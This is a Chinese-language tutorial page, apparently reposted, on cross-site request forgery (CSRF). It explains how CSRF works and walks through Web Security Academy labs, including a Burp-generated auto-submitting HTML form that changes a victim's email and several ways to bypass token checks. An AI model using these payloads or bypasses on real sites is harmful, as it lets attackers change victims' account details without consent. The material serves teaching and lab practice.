IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CSRF基础原理(Cross-site request forgery) -> 正文阅读

[PHP知识库]CSRF基础原理(Cross-site request forgery)

CSRF基础原理(Cross-site request forgery)

什么是跨站请求伪造 (CSRF)?

在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了

案例解释

粘贴于 pikachu…

小黑想要修改大白在购物网www.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录—修改会员信息,提交请求—修改成功。

所以小黑想要修改大白的信息,他需要拥有:
1,登录权限 2,修改个人信息的请求。

但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:

http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change

于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。

为啥小黑的操作能够实现呢。有如下几个关键点:

  • www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
  • 一个相关的动作。应用程序中存在攻击者有理由诱导的操作。这可能是特权操作(例如修改其他用户的权限)或对用户特定数据的任何操作(例如更改用户自己的密码)。
  • 基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,并且应用程序仅依赖会话 cookie 来识别发出请求的用户。没有其他机制可用于跟踪会话或验证用户请求。
  • 没有不可预测的请求参数。执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击

常见csrf类型

没有防御措施的 CSRF 漏洞及利用

电子邮件更改功能易受 CSRF 攻击。

POST /my-account/change-email HTTP/1.1
Host: ac8e1f521e2c57eac0b51b17008f00d2.web-security-academy.net
....
email=123456%40qq.com

在这里插入图片描述

自动生成 攻击脚本

在这里插入图片描述

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac8e1f521e2c57eac0b51b17008f00d2.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="123456&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

用户点击后会 出现的效果,这个窗口会自动提交 几乎一下就闪了,

在这里插入图片描述

然后就 ok了…

令牌验证取决于请求方法

观察如果您更改csrf参数的值,则请求被拒绝。
将其POST转换为 GET 请求,并删了CSRF 令牌 则不再被验证()

在这里插入图片描述

在这里插入图片描述

令牌验证取决于令牌是否存在

观察如果您更改csrf参数的值,则请求被拒绝。
删了CSRF 令牌 则不再被验证()

在这里插入图片描述

令牌不绑定到用户会话的 CSRF

CSRF 令牌是一次性的,但如果将 CSRF 令牌与来自其他帐户的值交换,则请求被接受。

就是我 记下CSRF token的值,然后丢弃请求。

用这个 CSRF token 去攻击受害者…

令牌在 cookie 中重复

POST /my-account/change-email HTTP/1.1
Host: ac071f3f1fb0c08fc0a3433100df00f7.web-security-academy.net
Cookie: csrf=lUOvICKDdssRwxsi8cThs5hDqTNkQhCt; session=vFsf35l6OJeVGgbiIrP1Y7wRzU2uFcYX
....
email=123456%40qq.com&csrf=lUOvICKDdssRwxsi8cThs5hDqTNkQhCt

csrf参数的值只是通过将其与cookie 进行比较来验证。
反映在 Set-Cookie 标头


在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-19 00:56:09  更:2022-02-19 00:57:36 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 10:37:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码